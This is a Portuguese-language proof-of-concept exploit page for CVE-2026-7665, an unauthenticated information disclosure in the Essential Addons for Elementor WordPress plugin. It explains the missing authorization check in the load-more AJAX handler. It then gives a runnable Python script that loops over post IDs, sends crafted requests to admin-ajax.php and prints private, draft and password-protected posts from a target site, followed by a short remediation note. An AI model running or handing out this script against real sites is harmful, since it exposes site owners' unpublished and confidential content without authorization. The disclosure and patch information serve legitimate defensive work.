
Exploit de prova de conceito para CVE-2026-7665, uma divulgação de informações não autenticada no Essential Addons for Elementor, permitindo extração de posts WordPress privados, rascunhos e protegidos por senha.
| Campo | Detalhe |
|---|---|
| CVE ID | CVE-2026-7665 |
| Severidade | Médio |
| Pontuação CVSS | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Plugin Afetado | Essential Addons for Elementor |
| Versões Afetadas | ≤ 6.6.4 |
| Instalações Ativas | 1.000.000+ |
| CVE Atribuído por | Wordfence (CNA) |
| Divulgado | Junho de 2026 |
| Pesquisador | Anirudh Makkar |
O manipulador AJAX ajax_load_more no Essential Addons for Elementor não impunha a visibilidade do post antes de retornar o conteúdo do post. Isso permitiu que atacantes não autenticados lessem posts privados, protegidos por senha e rascunho do WordPress ao enviar uma solicitação elaborada para wp-admin/admin-ajax.php — nenhuma autenticação ou nonce era necessária.
O plugin registra um manipulador no hook de ação wp_ajax_nopriv_eael_post_grid_load_more, tornando-o acessível a visitantes não autenticados. Quando este manipulador executa um WP_Query para buscar posts para a funcionalidade de paginação "load more", ele não chama current_user_can('read_post', $post_id) nem verifica get_post_status() em relação às capacidades do usuário solicitante.
O núcleo do WordPress depende dos plugins para impor autorização a nível de post em manipuladores AJAX — ele não o faz automaticamente. A ausência dessa verificação significa que o manipulador retorna o conteúdo completo do post independentemente das configurações de visibilidade do post.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // todos os status retornados
...
])
→ [retorna o conteúdo completo do post sem verificação de autorização]
Um atacante não autenticado pode enumerar e ler:
Isso pode expor conteúdo empresarial sensível, anúncios não lançados, documentação interna publicada como posts do WordPress ou qualquer outro conteúdo não público gerenciado através do editor do WordPress.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
Atualize o Essential Addons for Elementor para a versão 6.6.5 ou posterior.
A correção adiciona uma verificação current_user_can('read_post', $post_id) dentro do manipulador load-more antes de incluir qualquer post nos resultados da consulta.
Relatado por Anirudh Makkar · LinkedIn